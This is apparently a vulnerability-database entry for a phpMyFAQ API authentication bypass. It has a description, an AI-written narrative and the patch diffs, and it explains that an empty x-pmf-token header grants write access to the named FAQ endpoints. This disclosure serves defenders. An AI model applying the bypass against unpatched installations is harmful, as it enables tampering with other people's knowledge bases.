CVE-2026-35672
Description
phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
phpMyFAQ before 4.1.3 allows unauthenticated API access due to a default empty API token, enabling attackers to create and modify FAQ entries via REST endpoints.
## Vulnerability phpMyFAQ versions before 4.1.3 contain an authentication bypass vulnerability in the REST API v4.0. The installation process seeds the configuration key api.apiClientToken with an empty string [2]. The hasValidToken() method in AbstractController.php uses strict inequality (!==) to compare the configured token against the x-pmf-token header [2]. When both values are empty, the comparison passes, allowing unauthenticated requests. The affected endpoints include POST /api/v4.0/faq/create, PUT /api/v4.0/faq/update, POST /api/v4.0/category, and POST /api/v4.0/question [2][3].
Exploitation
An attacker does not need any authentication or prior access. They simply send an HTTP request to any of the listed write endpoints with an empty x-pmf-token header (or omit the header entirely, which also results in an empty value) [2][3]. The server compares the empty header against the default empty token and grants access. The attacker can then create or modify FAQ entries, categories, and questions without any restrictions [1][4].
Impact
Successful exploitation allows an unauthenticated attacker to create and modify FAQ content, categories, and questions. This can lead to injection of malicious content, defacement, or misinformation. The attacker gains write access to the FAQ database without any authentication, compromising the integrity and availability of the knowledge base [1][2][4].
Mitigation
The vulnerability is fixed in phpMyFAQ version 4.1.3 [1][4]. Users should upgrade to this version or later. If upgrading is not immediately possible, administrators can manually set a non-empty api.apiClientToken in the configuration or disable the API by setting api.enableAccess to false [2]. No known workaround is provided in the references beyond these steps.
AI Insight generated on May 28, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
4- Range: <= 4.1.2
- ghsa-coords2 versions
< 4.1.3+ 1 more
- (no CPE)range: < 4.1.3
- (no CPE)range: < 4.1.3
Patches
684c095d6b39ffix: prevent API authentication bypass via empty token
3 files changed · +18 −2
phpmyfaq/src/phpMyFAQ/Controller/AbstractController.php+7 −1 modified@@ -142,8 +142,14 @@ public function getTwigWrapper(): TwigWrapper */ protected function hasValidToken(): void { + $configuredToken = $this->configuration->get(item: 'api.apiClientToken'); + if (empty($configuredToken)) { + throw new UnauthorizedHttpException(challenge: '"x-pmf-token" is not valid.'); + } + $request = Request::createFromGlobals(); - if ($this->configuration->get(item: 'api.apiClientToken') !== $request->headers->get(key: 'x-pmf-token')) { + $providedToken = $request->headers->get(key: 'x-pmf-token'); + if (!is_string($providedToken) || !hash_equals($configuredToken, $providedToken)) { throw new UnauthorizedHttpException(challenge: '"x-pmf-token" is not valid.'); } }
phpmyfaq/src/phpMyFAQ/Setup/Installer.php+1 −0 modified@@ -1126,6 +1126,7 @@ public function startInstall(?array $setup = null): void $this->mainConfig['main.administrationMail'] = $email; $this->mainConfig['main.language'] = $language; $this->mainConfig['security.permLevel'] = $permLevel; + $this->mainConfig['api.apiClientToken'] = bin2hex(random_bytes(32)); foreach ($this->mainConfig as $name => $value) { $configuration->add($name, $value);
phpmyfaq/src/phpMyFAQ/Setup/Update.php+10 −1 modified@@ -186,6 +186,7 @@ public function applyUpdates(): bool $this->applyUpdates410Alpha(); $this->applyUpdates410Alpha2(); $this->applyUpdates410Alpha3(); + $this->applyUpdates413(); // Optimize the tables $this->optimizeTables(); @@ -266,7 +267,7 @@ private function applyUpdates310Alpha(): void // Add API-related configuration $this->configuration->add('api.enableAccess', true); - $this->configuration->add('api.apiClientToken', ''); + $this->configuration->add('api.apiClientToken', bin2hex(random_bytes(32))); // Add passlist for domains $this->configuration->add('security.domainWhiteListForRegistrations', ''); @@ -1211,6 +1212,14 @@ private function applyUpdates410Alpha3(): void } } + private function applyUpdates413(): void + { + $currentToken = $this->configuration->get('api.apiClientToken'); + if (empty($currentToken)) { + $this->configuration->update(['api.apiClientToken' => bin2hex(random_bytes(32))]); + } + } + private function updateVersion(): void { $this->configuration->update(['main.currentApiVersion' => System::getApiVersion()]);
41d7436f5bb7fix: replace plaintext password reset with signed token flow
53 files changed · +540 −58
phpmyfaq/assets/src/api/user.ts+19 −0 modified@@ -54,6 +54,25 @@ export const updateUserPassword = async (data: FormData): Promise<ApiResponse | } }; +export const resetUserPassword = async (data: FormData): Promise<ApiResponse | undefined> => { + try { + const response: Response = await fetch('api/user/password/reset', { + method: 'POST', + cache: 'no-cache', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify(serialize(data)), + redirect: 'follow', + referrerPolicy: 'no-referrer', + }); + + return await response.json(); + } catch (error) { + console.error(error); + } +}; + export const requestUserRemoval = async (data: FormData): Promise<ApiResponse | undefined> => { try { const response: Response = await fetch('api/user/request-removal', {
phpmyfaq/assets/src/frontend.ts+2 −0 modified@@ -32,6 +32,7 @@ import { handleRequestRemoval, handleUserControlPanel, handleUserPassword, + handleResetUserPassword, } from './user'; import { calculateReadingTime, handlePasswordStrength, handlePasswordToggle, handleReloadCaptcha } from './utils'; import './utils/tooltip'; @@ -86,6 +87,7 @@ document.addEventListener('DOMContentLoaded', (): void => { // Handle user password handleUserPassword(); + handleResetUserPassword(); // Handle request removal handleRequestRemoval();
phpmyfaq/assets/src/user/password.ts+35 −1 modified@@ -13,7 +13,7 @@ * @since 2024-03-03 */ -import { updateUserPassword } from '../api'; +import { resetUserPassword, updateUserPassword } from '../api'; import { addElement } from '../utils'; import { ApiResponse } from '../interfaces'; @@ -51,3 +51,37 @@ export const handleUserPassword = () => { }); } }; + +export const handleResetUserPassword = () => { + const submitButton = document.getElementById('pmf-submit-resetpw') as HTMLButtonElement | null; + + if (submitButton) { + submitButton.addEventListener('click', async (event) => { + event.preventDefault(); + + const form = document.querySelector('#pmf-resetpw-form') as HTMLFormElement; + const loader = document.getElementById('loader') as HTMLElement; + const formData = new FormData(form); + + const response = (await resetUserPassword(formData)) as ApiResponse; + const message = document.getElementById('pmf-resetpw-response') as HTMLElement; + + if (response.success) { + loader.classList.add('d-none'); + message.insertAdjacentElement( + 'afterend', + addElement('div', { classList: 'alert alert-success', innerText: response.success }) + ); + form.reset(); + } + + if (response.error) { + loader.classList.add('d-none'); + message.insertAdjacentElement( + 'afterend', + addElement('div', { classList: 'alert alert-danger', innerText: response.error }) + ); + } + }); + } +};
phpmyfaq/assets/templates/default/resetpw.twig+59 −0 added@@ -0,0 +1,59 @@ +{% extends 'index.twig' %} + +{% block content %} +<section class="col-12"> + + <div class="row mb-2"> + <div class="col"> + <div class="spinner-border text-primary d-none" id="loader" role="status"> + <span class="visually-hidden">Loading...</span> + </div> + <div id="pmf-resetpw-response"></div> + </div> + </div> + + <div class="row"> + <div class="col-6 offset-3"> + <div class="card shadow"> + <div class="card-header"> + <h4 class="card-title">{{ 'resetpwd_title' | translate }}</h4> + </div> + <div class="card-body"> + <form id="pmf-resetpw-form" action="#" method="post" accept-charset="utf-8" class="needs-validation" + novalidate> + <input type="hidden" name="u" value="{{ resetUserId }}"> + <input type="hidden" name="exp" value="{{ resetExpires }}"> + <input type="hidden" name="sig" value="{{ resetSignature }}"> + + <div class="row mb-2"> + <label class="col-3 form-control-label" for="password">{{ 'ad_passwd_new' | translate }}</label> + <div class="col-9"> + <input class="form-control" type="password" name="password" id="password" required minlength="8" + autocomplete="new-password" autofocus> + </div> + </div> + + <div class="row mb-2"> + <label class="col-3 form-control-label" for="password_repeat">{{ 'ad_passwd_con' | translate }}</label> + <div class="col-9"> + <input class="form-control" type="password" name="password_repeat" id="password_repeat" required + minlength="8" autocomplete="new-password"> + </div> + </div> + + <div class="row mb-2"> + <div class="col-sm-12 text-end"> + <button class="btn btn-primary" type="submit" id="pmf-submit-resetpw" data-pmf-form="reset-password"> + {{ 'msgNewContentSubmit' | translate }} + </button> + </div> + </div> + </form> + </div> + </div> + </div> + </div> + +</section> + +{% endblock %}
phpmyfaq/index.php+1 −1 modified@@ -468,7 +468,7 @@ // if ( $faqConfig->get('security.enableLoginOnly') && ( - !$user->isLoggedIn() && ($action !== 'login' && $action !== 'password') + !$user->isLoggedIn() && ($action !== 'login' && $action !== 'password' && $action !== 'resetpw') ) ) { $redirect = new RedirectResponse($faqSystem->getSystemUri($faqConfig) . 'login');
phpmyfaq/resetpw.php+46 −0 added@@ -0,0 +1,46 @@ +<?php + +/** + * Page where a user submits the new password using a signed reset token. + * + * This Source Code Form is subject to the terms of the Mozilla Public License, + * v. 2.0. If a copy of the MPL was not distributed with this file, You can + * obtain one at https://mozilla.org/MPL/2.0/. + * + * @package phpMyFAQ + * @author Thorsten Rinne <thorsten@phpmyfaq.de> + * @copyright 2026 phpMyFAQ Team + * @license https://www.mozilla.org/MPL/2.0/ Mozilla Public License Version 2.0 + * @link https://www.phpmyfaq.de + * @since 2026-05-08 + */ + +use phpMyFAQ\Filter; +use phpMyFAQ\Twig\TwigWrapper; + +if (!defined('IS_VALID_PHPMYFAQ')) { + http_response_code(400); + exit(); +} + +$faqConfig = $container->get('phpmyfaq.configuration'); + +$faqSession = $container->get('phpmyfaq.user.session'); +$faqSession->userTracking('reset_password', 0); + +$userId = (int) Filter::filterVar($request->query->get('u'), FILTER_VALIDATE_INT); +$expires = (int) Filter::filterVar($request->query->get('exp'), FILTER_VALIDATE_INT); +$signature = (string) Filter::filterVar($request->query->get('sig'), FILTER_SANITIZE_SPECIAL_CHARS); + +$twig = new TwigWrapper(PMF_ROOT_DIR . '/assets/templates/'); +$twigTemplate = $twig->loadTemplate('./resetpw.twig'); + +$templateVars = [ + ... $templateVars, + 'lang' => $faqConfig->getLanguage()->getLanguage(), + 'resetUserId' => $userId, + 'resetExpires' => $expires, + 'resetSignature' => $signature, +]; + +return $templateVars;
phpmyfaq/src/api-routes.php+5 −0 modified@@ -264,6 +264,11 @@ 'controller' => [UnauthorizedUserController::class, 'updatePassword'], 'methods' => 'PUT' ], + 'api.private.user.password.reset' => [ + 'path' => 'user/password/reset', + 'controller' => [UnauthorizedUserController::class, 'resetPassword'], + 'methods' => 'POST' + ], 'api.private.user.request-removal' => [ 'path' => 'user/request-removal', 'controller' => [UserController::class, 'requestUserRemoval'],
phpmyfaq/src/phpMyFAQ/Controller/Frontend/UnauthorizedUserController.php+150 −54 modified@@ -21,6 +21,7 @@ use phpMyFAQ\Configuration; use phpMyFAQ\Core\Exception; +use phpMyFAQ\Database; use phpMyFAQ\Filter; use phpMyFAQ\Mail; use phpMyFAQ\Translation; @@ -34,82 +35,177 @@ final class UnauthorizedUserController { + private const RESET_TOKEN_TTL = 3600; + private ?Configuration $configuration = null; - /** - * Check if the FAQ should be secured. - */ public function __construct() { $this->configuration = Configuration::getConfigurationInstance(); } /** + * Step 1: request a password reset link. + * + * Always returns a generic success response so the endpoint cannot be used + * to enumerate accounts. When username and email match an existing user, + * a signed reset link is emailed to the on-file address. The link contains + * an HMAC bound to the user's current password hash, which makes it + * effectively single-use (changing the password invalidates outstanding + * tokens). + * * @throws Exception */ #[Route(path: 'api/user/password/update', methods: ['PUT'])] public function updatePassword(Request $request): JsonResponse { $data = json_decode($request->getContent()); - $username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS)); - $email = trim((string) Filter::filterVar($data->email, FILTER_VALIDATE_EMAIL)); - - if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) { - $user = CurrentUser::getCurrentUser($this->configuration); - $loginExist = $user->getUserByLogin($username); - - if ($loginExist && $email == $user->getUserData('email')) { - try { - $newPassword = $user->createPassword(); - } catch (\Exception $exception) { - return $this->json(['error' => $exception->getMessage()], Response::HTTP_BAD_REQUEST); - } - - try { - $user->changePassword($newPassword); - } catch (\Exception $exception) { - return $this->json(['error' => $exception->getMessage()], Response::HTTP_BAD_REQUEST); - } - - $text = - Translation::get(key: 'lostpwd_text_1') - . sprintf('<br><br>Username: %s', $username) - . sprintf('<br>New Password: %s<br><br>', $newPassword) - . Translation::get(key: 'lostpwd_text_2'); - - $mail = new Mail($this->configuration); - try { - $mail->addTo($email); - } catch (Exception $exception) { - return $this->json(['error' => $exception->getMessage()], Response::HTTP_BAD_REQUEST); - } - - $mail->subject = Utils::resolveMarkers( - '[%sitename%] Username / password request', - $this->configuration, - ); - $mail->message = $text; - try { - $mail->send(); - } catch (Exception|TransportExceptionInterface $exception) { - return $this->json(['error' => $exception->getMessage()], Response::HTTP_BAD_REQUEST); - } - - unset($mail); - // Trust that the email has been sent - return $this->json(['success' => Translation::get(key: 'lostpwd_mail_okay')], Response::HTTP_OK); - } + $username = trim((string) Filter::filterVar($data->username ?? '', FILTER_SANITIZE_SPECIAL_CHARS)); + $email = trim((string) Filter::filterVar($data->email ?? '', FILTER_VALIDATE_EMAIL)); + + $genericSuccess = $this->json(['success' => Translation::get(key: 'lostpwd_mail_okay')], Response::HTTP_OK); + + if ($username === '' || $email === '') { + return $genericSuccess; + } + + $user = CurrentUser::getCurrentUser($this->configuration); + if (!$user->getUserByLogin($username)) { + return $genericSuccess; + } + + if (!hash_equals((string) $user->getUserData('email'), $email)) { + return $genericSuccess; + } - return $this->json(['error' => Translation::get(key: 'lostpwd_err_1')], Response::HTTP_CONFLICT); + $passHash = $this->getUserPasswordHash($user->getLogin()); + if ($passHash === null) { + return $genericSuccess; } - return $this->json(['error' => Translation::get(key: 'lostpwd_err_2')], Response::HTTP_CONFLICT); + $expires = time() + self::RESET_TOKEN_TTL; + $signature = $this->signResetToken($user->getUserId(), $expires, $passHash); + + $resetUrl = sprintf( + '%s/index.php?action=resetpw&u=%d&exp=%d&sig=%s', + rtrim($this->configuration->getDefaultUrl(), '/'), + $user->getUserId(), + $expires, + $signature, + ); + + $text = + Translation::get(key: 'lostpwd_text_1') + . sprintf('<br><br>Username: %s<br><br>', $username) + . Translation::get(key: 'resetpwd_text_link') + . sprintf('<br><a href="%1$s">%1$s</a><br><br>', $resetUrl) + . Translation::get(key: 'resetpwd_text_expiry'); + + $mail = new Mail($this->configuration); + try { + $mail->addTo($email); + $mail->subject = Utils::resolveMarkers('[%sitename%] Password reset request', $this->configuration); + $mail->message = $text; + $mail->send(); + } catch (Exception|TransportExceptionInterface $exception) { + return $this->json(['error' => $exception->getMessage()], Response::HTTP_BAD_REQUEST); + } finally { + unset($mail); + } + + return $genericSuccess; } /** - * Returns a JsonResponse that uses json_encode(). + * Step 2: consume the signed reset token and set a new password. * + * @throws Exception + */ + #[Route(path: 'api/user/password/reset', methods: ['POST'])] + public function resetPassword(Request $request): JsonResponse + { + $data = json_decode($request->getContent()); + + $userId = (int) ($data->u ?? 0); + $expires = (int) ($data->exp ?? 0); + $signature = (string) ($data->sig ?? ''); + $password = (string) ($data->password ?? ''); + $confirm = (string) ($data->password_repeat ?? ''); + + $invalidToken = $this->json([ + 'error' => Translation::get(key: 'resetpwd_err_invalid'), + ], Response::HTTP_BAD_REQUEST); + + if ($userId <= 0 || $expires <= 0 || $signature === '') { + return $invalidToken; + } + + if ($expires < time()) { + return $invalidToken; + } + + if ($password === '' || $password !== $confirm) { + return $this->json(['error' => Translation::get(key: 'ad_passwd_fail')], Response::HTTP_BAD_REQUEST); + } + + if (strlen($password) < 8) { + return $this->json(['error' => Translation::get(key: 'ad_passwd_fail')], Response::HTTP_BAD_REQUEST); + } + + $user = CurrentUser::getCurrentUser($this->configuration); + if (!$user->getUserById($userId)) { + return $invalidToken; + } + + $passHash = $this->getUserPasswordHash($user->getLogin()); + if ($passHash === null) { + return $invalidToken; + } + + $expected = $this->signResetToken($userId, $expires, $passHash); + if (!hash_equals($expected, $signature)) { + return $invalidToken; + } + + try { + if (!$user->changePassword($password)) { + return $this->json(['error' => Translation::get(key: 'ad_passwd_fail')], Response::HTTP_BAD_REQUEST); + } + } catch (\Exception $exception) { + return $this->json(['error' => $exception->getMessage()], Response::HTTP_BAD_REQUEST); + } + + return $this->json(['success' => Translation::get(key: 'resetpwd_success')], Response::HTTP_OK); + } + + private function signResetToken(int $userId, int $expires, string $passHash): string + { + $secret = (string) $this->configuration->get('main.phpMyFAQToken'); + $payload = $userId . '|' . $expires . '|' . $passHash; + return hash_hmac('sha256', $payload, $secret); + } + + private function getUserPasswordHash(string $login): ?string + { + $db = $this->configuration->getDb(); + $query = sprintf( + "SELECT pass FROM %sfaquserlogin WHERE login = '%s'", + Database::getTablePrefix(), + $db->escape($login), + ); + $result = $db->query($query); + if (!$result) { + return null; + } + $row = $db->fetchArray($result); + if (!is_array($row) || !isset($row['pass'])) { + return null; + } + return (string) $row['pass']; + } + + /** * @param string[] $headers */ public function json(mixed $data, int $status = 200, array $headers = []): JsonResponse
phpmyfaq/src/phpMyFAQ/Link.php+1 −0 modified@@ -172,6 +172,7 @@ class Link 'privacy' => 1, 'register' => 1, 'request-removal' => 1, + 'resetpw' => 1, 'save' => 1, 'savecomment' => 1, 'savequestion' => 1,
phpmyfaq/translations/language_ar.php+5 −0 modified@@ -448,6 +448,11 @@ $PMF_LANG['lostpwd_text_1'] = 'شكراً لطلبك معلومات حسابك'; $PMF_LANG['lostpwd_text_2'] = 'من فضلك ضع كلمة سر جديدة في قسم الإشراف بالبرنامج'; $PMF_LANG['lostpwd_mail_okay'] = 'تم إرسال البريد '; +$PMF_LANG["resetpwd_title"] = "تعيين كلمة مرور جديدة"; +$PMF_LANG["resetpwd_text_link"] = "انقر على الرابط أدناه لتعيين كلمة مرور جديدة:"; +$PMF_LANG["resetpwd_text_expiry"] = "هذا الرابط صالح لمدة ساعة واحدة ويمكن استخدامه مرة واحدة فقط."; +$PMF_LANG["resetpwd_success"] = "تم تغيير كلمة المرور الخاصة بك. يمكنك الآن تسجيل الدخول."; +$PMF_LANG["resetpwd_err_invalid"] = "رابط إعادة تعيين كلمة المرور هذا غير صالح أو منتهي الصلاحية."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'احصل على رقم أحدث إصدار من البرنامج عن طريق الويب '; $PMF_LANG['ad_xmlrpc_latest'] = 'أحدث إصدار متوفر على'; $PMF_LANG['ad_categ_select'] = 'اختار لغة التصنيف';
phpmyfaq/translations/language_bn.php+5 −0 modified@@ -549,6 +549,11 @@ $PMF_LANG["lostpwd_text_1"] = "তথ্য জানতে চাওয়ার জন্য ধন্যবাদ।"; $PMF_LANG["lostpwd_text_2"] = "অনুগ্রহ করে প্রশাসকের বিভাগে একটি নতুন গোপন সংকেত প্রদান করুন।"; $PMF_LANG["lostpwd_mail_okay"] = "ই-মেইল পাঠানো হয়েছে"; +$PMF_LANG["resetpwd_title"] = "একটি নতুন পাসওয়ার্ড সেট করুন"; +$PMF_LANG["resetpwd_text_link"] = "নতুন পাসওয়ার্ড সেট করতে নিচের লিঙ্কে ক্লিক করুন:"; +$PMF_LANG["resetpwd_text_expiry"] = "এই লিঙ্কটি ১ ঘন্টার জন্য বৈধ এবং শুধুমাত্র একবার ব্যবহার করা যাবে।"; +$PMF_LANG["resetpwd_success"] = "আপনার পাসওয়ার্ড পরিবর্তন করা হয়েছে। আপনি এখন লগ ইন করতে পারেন।"; +$PMF_LANG["resetpwd_err_invalid"] = "এই পাসওয়ার্ড রিসেট লিঙ্কটি অবৈধ বা মেয়াদ শেষ হয়ে গেছে।"; $PMF_LANG["msgButtonFetchLatestVersion"] = "ওয়েব সেবার মাধ্যমে সর্বশেষ phpMyFAQ সংস্করণ নম্বর পান"; $PMF_LANG["ad_xmlrpc_latest"] = "সর্বশেষ সংস্করণ উপলব্ধ";
phpmyfaq/translations/language_bs.php+5 −0 modified@@ -546,6 +546,11 @@ $PMF_LANG["lostpwd_text_1"] = "Zahtev za detaljima Vašeg naloga je primljen."; $PMF_LANG["lostpwd_text_2"] = "Podesite novu lozinku u admin delu Vašeg FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "E-Mail je poslat."; +$PMF_LANG["resetpwd_title"] = "Postavi novu lozinku"; +$PMF_LANG["resetpwd_text_link"] = "Kliknite na donji link da postavite novu lozinku:"; +$PMF_LANG["resetpwd_text_expiry"] = "Ovaj link vrijedi 1 sat i može se koristiti samo jednom."; +$PMF_LANG["resetpwd_success"] = "Vaša lozinka je promijenjena. Sada se možete prijaviti."; +$PMF_LANG["resetpwd_err_invalid"] = "Ovaj link za resetovanje lozinke je nevažeći ili je istekao."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Pogledaj najnoviju phpMyFAQ verziju na internetu"; $PMF_LANG["ad_xmlrpc_latest"] = "Najnovija dostupna verzija je";
phpmyfaq/translations/language_cs.php+5 −0 modified@@ -451,6 +451,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Děkujeme, že jste si vyžádali vaše přihlašovací údaje.'; $PMF_LANG['lostpwd_text_2'] = 'Prosíme, nastavete si nové helso v admin sekci vašcih FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'E-mail byl odeslán.'; +$PMF_LANG["resetpwd_title"] = "Nastavit nové heslo"; +$PMF_LANG["resetpwd_text_link"] = "Klikněte na níže uvedený odkaz pro nastavení nového hesla:"; +$PMF_LANG["resetpwd_text_expiry"] = "Tento odkaz je platný 1 hodinu a lze jej použít pouze jednou."; +$PMF_LANG["resetpwd_success"] = "Vaše heslo bylo změněno. Nyní se můžete přihlásit."; +$PMF_LANG["resetpwd_err_invalid"] = "Tento odkaz pro obnovení hesla je neplatný nebo vypršel."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Získejte poslední verzi systému'; $PMF_LANG['ad_xmlrpc_latest'] = 'Poslední dostupná verze'; $PMF_LANG['ad_categ_select'] = 'Zvolte jazyk sekce';
phpmyfaq/translations/language_cy.php+5 −0 modified@@ -547,6 +547,11 @@ $PMF_LANG["lostpwd_text_1"] = "Diolch am ofyn am wybodaeth eich cyfrif."; $PMF_LANG["lostpwd_text_2"] = "Gosodwch gyfrinair personol newydd yn adran weinyddol eich Cwestiynau Cyffredin."; $PMF_LANG["lostpwd_mail_okay"] = "Anfonwyd yr e-bost."; +$PMF_LANG["resetpwd_title"] = "Gosod cyfrinair newydd"; +$PMF_LANG["resetpwd_text_link"] = "Cliciwch y ddolen isod i osod cyfrinair newydd:"; +$PMF_LANG["resetpwd_text_expiry"] = "Mae'r ddolen hon yn ddilys am 1 awr a dim ond unwaith y gellir ei defnyddio."; +$PMF_LANG["resetpwd_success"] = "Mae eich cyfrinair wedi'i newid. Gallwch fewngofnodi nawr."; +$PMF_LANG["resetpwd_err_invalid"] = "Mae'r ddolen ailosod cyfrinair hon yn annilys neu wedi dod i ben."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Cael rhif fersiwn phpMyFAQ diweddaraf drwy wasanaeth gwe"; $PMF_LANG["ad_xmlrpc_latest"] = "Y fersiwn ddiweddaraf ar gael ar";
phpmyfaq/translations/language_da.php+5 −0 modified@@ -542,6 +542,11 @@ $PMF_LANG["lostpwd_text_1"] = "Tak for anmodning om dine kontooplysninger."; $PMF_LANG["lostpwd_text_2"] = "Indstil venligst en ny personlig adgangskode i admin-sektionen af din FAQ."; $PMF_LANG["lostpwd_mail_okay"] = "E-mail er blevet sendt."; +$PMF_LANG["resetpwd_title"] = "Indstil en ny adgangskode"; +$PMF_LANG["resetpwd_text_link"] = "Klik på linket nedenfor for at indstille en ny adgangskode:"; +$PMF_LANG["resetpwd_text_expiry"] = "Dette link er gyldigt i 1 time og kan kun bruges én gang."; +$PMF_LANG["resetpwd_success"] = "Din adgangskode er ændret. Du kan nu logge ind."; +$PMF_LANG["resetpwd_err_invalid"] = "Dette link til nulstilling af adgangskode er ugyldigt eller udløbet."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Klik for at kontrollere version af din phpMyFAQ installation"; $PMF_LANG["ad_xmlrpc_latest"] = "Nyeste version tilgængelig";
phpmyfaq/translations/language_de.php+5 −0 modified@@ -545,6 +545,11 @@ $PMF_LANG['lostpwd_text_1'] = "Vielen Dank für die Abfrage Ihrer Account-Informationen."; $PMF_LANG['lostpwd_text_2'] = "Bitte ein neues Passwort im Adminbereich der FAQ setzen."; $PMF_LANG['lostpwd_mail_okay'] = "E-Mail wurde gesendet."; +$PMF_LANG["resetpwd_title"] = "Neues Passwort festlegen"; +$PMF_LANG["resetpwd_text_link"] = "Klicken Sie auf den unten stehenden Link, um ein neues Passwort festzulegen:"; +$PMF_LANG["resetpwd_text_expiry"] = "Dieser Link ist 1 Stunde gültig und kann nur einmal verwendet werden."; +$PMF_LANG["resetpwd_success"] = "Ihr Passwort wurde geändert. Sie können sich jetzt anmelden."; +$PMF_LANG["resetpwd_err_invalid"] = "Dieser Link zum Zurücksetzen des Passworts ist ungültig oder abgelaufen."; $PMF_LANG['msgButtonFetchLatestVersion'] = "Aktuelle phpMyFAQ Version online abfragen"; $PMF_LANG['ad_xmlrpc_latest'] = "Aktuelle Version";
phpmyfaq/translations/language_el.php+5 −0 modified@@ -448,6 +448,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Ευχαριστούμε που ζητήσατε τις πληροφορίες του λογαριασμού σας.'; $PMF_LANG['lostpwd_text_2'] = 'Παρακαλούμε ορίστε ένα νέο ατομικό κωδικό πρόσβασης για τη διαχείριση του FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'Το μήνυμα έχει σταλλεί.'; +$PMF_LANG["resetpwd_title"] = "Ορίστε νέο κωδικό πρόσβασης"; +$PMF_LANG["resetpwd_text_link"] = "Κάντε κλικ στον παρακάτω σύνδεσμο για να ορίσετε νέο κωδικό πρόσβασης:"; +$PMF_LANG["resetpwd_text_expiry"] = "Αυτός ο σύνδεσμος ισχύει για 1 ώρα και μπορεί να χρησιμοποιηθεί μόνο μία φορά."; +$PMF_LANG["resetpwd_success"] = "Ο κωδικός πρόσβασής σας έχει αλλάξει. Μπορείτε τώρα να συνδεθείτε."; +$PMF_LANG["resetpwd_err_invalid"] = "Αυτός ο σύνδεσμος επαναφοράς κωδικού πρόσβασης είναι άκυρος ή έχει λήξει."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Λάβετε την ενημερωμένη έκδοση το phpMyFAQ μέσω web service'; $PMF_LANG['ad_xmlrpc_latest'] = 'Ενημερωμένη έκδοση διαθέσιμη στο'; $PMF_LANG['ad_categ_select'] = 'Επιλέξτε τη γλώσσα της κατηγορίας';
phpmyfaq/translations/language_en.php+7 −2 modified@@ -539,9 +539,14 @@ $PMF_LANG["lostPassword"] = "Forgot your password?"; $PMF_LANG["lostpwd_err_1"] = "Error: Username and email address not found."; $PMF_LANG["lostpwd_err_2"] = "Error: Wrong entries!"; -$PMF_LANG["lostpwd_text_1"] = "Thank you for requesting your account information."; +$PMF_LANG["lostpwd_text_1"] = "Thank you for requesting a password reset."; $PMF_LANG["lostpwd_text_2"] = "Please set a new personal password in the admin section of your FAQ."; -$PMF_LANG["lostpwd_mail_okay"] = "Email has been sent."; +$PMF_LANG["lostpwd_mail_okay"] = "If the account exists, a password reset email has been sent."; +$PMF_LANG["resetpwd_title"] = "Set a new password"; +$PMF_LANG["resetpwd_text_link"] = "Click the link below to set a new password:"; +$PMF_LANG["resetpwd_text_expiry"] = "This link is valid for 1 hour and can only be used once."; +$PMF_LANG["resetpwd_success"] = "Your password has been changed. You can now log in."; +$PMF_LANG["resetpwd_err_invalid"] = "This password reset link is invalid or has expired."; $PMF_LANG["msgButtonFetchLatestVersion"] = "Click to check version of your phpMyFAQ installation"; $PMF_LANG["ad_xmlrpc_latest"] = "Latest version available";
phpmyfaq/translations/language_es.php+5 −0 modified@@ -542,6 +542,11 @@ $PMF_LANG['lostpwd_text_1'] = 'Gracias por solicitar la información de su cuenta.'; $PMF_LANG['lostpwd_text_2'] = 'Por favor, elija una nueva contraseña en el área de administración de la FAQ.'; $PMF_LANG['lostpwd_mail_okay'] = 'E-mail enviado.'; +$PMF_LANG["resetpwd_title"] = "Establecer una nueva contraseña"; +$PMF_LANG["resetpwd_text_link"] = "Haga clic en el siguiente enlace para establecer una nueva contraseña:"; +$PMF_LANG["resetpwd_text_expiry"] = "Este enlace es válido durante 1 hora y solo se puede usar una vez."; +$PMF_LANG["resetpwd_success"] = "Su contraseña ha sido cambiada. Ahora puede iniciar sesión."; +$PMF_LANG["resetpwd_err_invalid"] = "Este enlace de restablecimiento de contraseña no es válido o ha expirado."; $PMF_LANG['msgButtonFetchLatestVersion'] = 'Obtener la versión actual de phpMyFAQ en línea'; $PMF_LANG['ad_xmlrpc_latest'] = 'Versión actual en';
phpmyfaq/translations/language_eu.php+5 −0 modified@@ -547,6 +547,11 @@ $PMF_LANG["lostpwd_text_1"] = "Eskerrik asko zure sarrera informazioa eskatzeagatik."; $PMF_LANG["lostpwd_text_2"] = "Mesedez, zure FAQaren administrazio sailean pasahitz berri bat ezarri."; $PMF_LANG["lostpwd_mail_okay"] = "Posta bidali da."; +$PMF_LANG["resetpwd_title"] = "Ezarri pasahitz berria"; +$PMF_LANG["resetpwd_text_link"] = "Egin klik beheko estekan pasahitz berri bat ezartzeko:"; +$PMF_LANG["resetpwd_text_expiry"] = "Esteka hau 1 orduz baliodun da eta behin bakarrik erabili daiteke."; +$PMF_LANG["resetpwd_success"] = "Zure pasahitza aldatu da. Saioa hasi dezakezu orain."; +$PMF_LANG["resetpwd_err_invalid"] = "Pasahitza berrezartzeko esteka hau baliogabea da edo iraungi da."; $PMF_LANG["msgButtonFetchLatestVersion"] = "phpMyFAQ-en azken bertsioaren zenbakia lortu web-sevices erabiliz."; $PMF_LANG["ad_xmlrpc_latest"] = "Azken bertsioa ";
